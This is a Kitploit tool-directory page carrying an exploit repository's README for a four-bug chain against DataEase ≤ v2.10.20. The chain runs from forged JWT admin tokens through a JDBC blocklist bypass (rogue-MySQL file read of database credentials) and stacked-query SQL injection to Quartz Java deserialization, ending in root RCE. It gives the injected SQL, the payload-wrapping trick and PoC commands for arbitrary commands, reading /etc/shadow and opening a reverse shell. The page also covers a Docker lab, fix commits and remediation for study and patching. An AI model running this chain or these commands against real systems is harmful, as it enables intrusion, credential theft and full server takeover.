Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
EXPLOIT-CVE-2026-40901 — Automated exploit for DataEase: 4-vulnerability chain (auth bypass, JDBC blocklist bypass, SQL injection, Java deserialization) achieving unauthenticated RCE. Includes Docker lab and Python PoC. | Kitploit
Tools/GitHubGitHub/joaovicdev/exploit-cve-2026-40901
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload DevelopmentLabs & Practice
GitHubjoaovicdev/exploit-cve-2026-40901

EXPLOIT-CVE-2026-40901

Automated exploit for DataEase: 4-vulnerability chain (auth bypass, JDBC blocklist bypass, SQL injection, Java deserialization) achieving unauthenticated RCE. Includes Docker lab and Python PoC.

View Repository
191 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

DataEase — Unauthenticated RCE via a 4-vulnerability chain (CVE-2026-40901 & friends)

Auth bypass → JDBC blocklist bypass (arbitrary file read) → SQL injection → Java deserialization in Quartz → remote code execution as root.

Self-contained local lab (Docker) + working PoC. Fixed in DataEase v2.10.21.

DataEase is a popular open-source BI / data-visualization platform (Java / Spring Boot). Versions ≤ v2.10.20 are vulnerable to a chain of four issues that together turn a network-reachable DataEase into remote code execution:

#CVEClassWhat it gives us
1CVE-2026-23958Auth bypass (CWE-287/CWE-347)Act as admin — no valid signature needed
2CVE-2026-40899JDBC blocklist bypass (CWE-20)Arbitrary file read → steal backend DB creds
3CVE-2026-40900SQL injection / stacked queries (CWE-89)Write into DataEase's own database
4CVE-2026-40901Java deserialization (CWE-502)RCE as root via the Quartz job store

TL;DR

root@kitploit:~
# 1. bring up a vulnerable DataEase v2.10.20 + MySQL
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)

# 2. fire the chain
python3 exploit/de_rce_chain.py

# 3. a few seconds later, confirm code execution as root
docker exec dataease cat /tmp/pwned_CVE_2026_40901
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
# PWNED_BY_CVE_2026_40901
# Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux

Lab setup

Everything runs locally in Docker. No external services, no internet target.

root@kitploit:~
docker-compose.yml         vulnerable DataEase v2.10.20 + MySQL 8.4
conf/application-standalone.yml   repoints the DB at the local mysql-de
mysql/                     my.cnf + init.sql (creates the empty `dataease` DB)
exploit/                   the PoC

Bring it up:

root@kitploit:~
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
  • Web UI / API: http://localhost:8100 (API prefix /de2api)
  • Default creds shipped by DataEase: admin / DataEase@123456
  • The DataEase JVM runs as root inside its container — so our shell is root.

Requirements on the host: Docker, Python 3.8+ with cryptography (pip install -r exploit/requirements.txt), and the Docker CLI (used to run ysoserial in a throwaway eclipse-temurin:8-jre container to build the gadget).


The chain, step by step

1. CVE-2026-23958 — authentication bypass

DataEase authenticates requests in a servlet filter, TokenFilter (sdk/common/.../auth/filter/TokenFilter.java). It reads the token and calls TokenUtils.validate(), which ends up in:

root@kitploit:~
// io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
    DecodedJWT jwt = JWT.decode(token);        // <-- decode only, NO signature check
    Long userId = jwt.getClaim("uid").asLong();
    Long oid    = jwt.getClaim("oid").asLong();
    ...
    return new TokenUserBO(userId, oid);
}

JWT.decode() never verifies the signature. The only checks are: the token is ≥ 100 characters and carries an integer uid claim. So any JWT that says "uid": 1 makes the request run as the built-in administrator (uid 1).

There is a second filter (CommunityTokenFilter) that does verify a signature for the X-DE-TOKEN header — but only under specific conditions, and the signing key is either a per-user secret or, in a plain community build, the MD5 of the hardcoded default password DataEase@123456 (SubstituleLoginConfig → dataease.default-pwd). The companion share-link path (X-DE-LINK-TOKEN) is signed with the hardcoded key link-pwd-fit2cloud (LinkTokenUtil.defaultPwd) and, pre-fix, was likewise decoded without verification.

Net effect: an attacker can mint an administrator token. de_common.py includes forge_jwt() which produces the signature-less token; the PoC also supports simply logging in with the ubiquitous default credentials to obtain a fully valid X-DE-TOKEN for the rest of the chain.

The fix (commit 00c169caa) makes TokenFilter look up the real per-resource secret and actually call verifier.verify(...).

2. CVE-2026-40899 — JDBC blocklist bypass → arbitrary file read

When you add a MySQL datasource, DataEase refuses a set of dangerous JDBC parameters. That blocklist lives in a Lombok @Data field:

root@kitploit:~
// io.dataease.datasource.type.Mysql   (extends DatasourceConfiguration, @Data)
private List<String> illegalParameters = Arrays.asList(
    "maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
    "detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
    "allowLoadLocalInfileInPath");

Because @Data auto-generates setIllegalParameters(...), Jackson will happily populate it from attacker-controlled JSON. Sending "illegalParameters": [] in the (Base64-encoded) configuration blob empties the blocklist before it is checked. We can then point the datasource at a rogue MySQL server with allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/ and read arbitrary files off the DataEase host via the MySQL LOCAL INFILE mechanism.

root@kitploit:~
# terminal A — rogue server, choose any file to steal
python3 exploit/rogue_mysql.py --port 3307 \
        --file /opt/apps/config/application-standalone.yml

# terminal B — make DataEase connect to it (host.docker.internal reaches your host)
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307

Result — DataEase hands us its own backend DB credentials:

root@kitploit:~
[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
  spring:
    datasource:
      url: jdbc:mysql://mysql-de:3306/dataease?...
      username: root
      password: Password123@mysql

Those credentials are what an attacker uses to point step 3 at DataEase's own database. The fix (commit 16a950f96) adds @JsonIgnore to every illegalParameters field so it can no longer be set from JSON.

3. CVE-2026-40900 — SQL injection (stacked queries) in previewSql

POST /de2api/datasetData/previewSql takes a Base64-encoded SQL string and, with no single-statement validation, wraps it as a subquery:

root@kitploit:~
SELECT * FROM ( <your SQL> ) AS `tmp` LIMIT 100 OFFSET 0

Comments are stripped, but we can balance the parentheses and use ; to run extra statements. Because we control the datasource, we enable allowMultiQueries=true (not on the blocklist in v2.10.20), so stacked queries execute:

root@kitploit:~
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1

which the server assembles into three real statements. Pointing this datasource at DataEase's own database (creds from step 2) lets us write into its Quartz tables. Fixes: 15611593b adds allowMultiQueries to the blocklist and e89059d88 hardens the save/engine flow.

4. CVE-2026-40901 — Quartz deserialization → RCE

DataEase schedules a recurring "datasource status check" Quartz job:

  • scheduler deSyncJob, job Datasource / check_status, class io.dataease.job.schedule.CheckDsStatusJob
  • cron 0 0/6 * * * ? * (default: every 6 minutes)

Quartz uses a JDBC job store with useProperties=false, so each job's JobDataMap is stored in the QRTZ_JOB_DETAILS.JOB_DATA column as a raw Java-serialized object (you can see it: the blob starts with the serialization magic AC ED 00 05 … org.quartz.JobDataMap). When the scheduler scans for triggers it does, in StdJDBCDelegate.selectJobDetail:

root@kitploit:~
Map map = (Map) getObjectFromBlob(rs, "JOB_DATA");   // new ObjectInputStream(...).readObject()

DataEase bundles commons-collections-3.2.1.jar (and velocity-1.7.jar) — classic deserialization gadget sources. Using step 3 we overwrite JOB_DATA with a ysoserial CommonsCollections6 payload (and, in the same stacked query, pull the trigger's NEXT_FIRE_TIME to now so we don't wait for the 6-minute cron). On the next scheduler scan, readObject() fires the gadget chain (LazyMap → InvokerTransformer → Runtime.exec) and our command runs — as root, inside the container. The fix set (e05bda764, …) removes the vulnerable Velocity dependency and the reachability of the sink.

The PoC generates the gadget for you (busybox-friendly command wrapping — the target shell is Alpine ash and Runtime.exec gets no shell, so we use sh -c echo${IFS}<b64>|base64${IFS}-d|sh).


Running the PoC

root@kitploit:~
pip install -r exploit/requirements.txt

# full chain (default: writes an id/uname proof file inside the container)
python3 exploit/de_rce_chain.py

# arbitrary command
python3 exploit/de_rce_chain.py --cmd 'cat /etc/shadow'

# reverse shell (start `nc -lvnp 4444` first)
python3 exploit/de_rce_chain.py --revshell host.docker.internal 4444

# verify code execution
docker exec dataease cat /tmp/pwned_CVE_2026_40901

Reset the poisoned Quartz job between runs (optional):

root@kitploit:~
exploit/reset_quartz.sh

Files

PathPurpose
exploit/de_common.pyHTTP client: /dekey RSA recovery, login, JWT forgery, datasource + previewSql
exploit/de_rce_chain.pythe end-to-end auth → SQLi → Quartz deserialization RCE
exploit/rogue_mysql.pyminimal rogue MySQL server (LOCAL INFILE file read) for CVE-2026-40899
exploit/file_read.pydrives CVE-2026-40899 against the rogue server
exploit/reset_quartz.shrestore a clean Quartz job after a run

Why it's "meaty"

  • Java deserialization is the timeless bug class — here reached through an unusual sink (a Quartz JDBC job-store BLOB) rather than an HTTP body.
  • It's a genuine four-bug chain: each link is individually modest, but composed they go from unauthenticated network access to root RCE.
  • Everything is open-source and self-hostable, so the whole thing is reproducible on a laptop with Docker — exactly what you want for a writeup.

Remediation

  • Upgrade to DataEase ≥ v2.10.21.
  • Rotate the default admin password (DataEase@123456) immediately.
  • Don't expose DataEase directly to untrusted networks.
  • Defense-in-depth for the sink: run Quartz with useProperties=true, apply a JVM deserialization filter (-Djdk.serialFilter=…), and drop commons-collections:3.2.1 / velocity:1.7 from the classpath.

Disclaimer

For education and authorized testing only. The lab targets a container you run yourself. Do not point any of this at systems you don't own or have explicit written permission to test.

References

  • OX Security — From Auth Bypass to RCE: A 4-Vulnerability Exploit Chain in DataEase
  • NVD / vendor advisory — CVE-2026-40901, CVE-2026-40900, CVE-2026-40899, CVE-2026-23958
  • Fix commits: 00c169caa, 16a950f96, 15611593b, e89059d88, e05bda764 (DataEase v2.10.20..v2.10.21)
Download Tool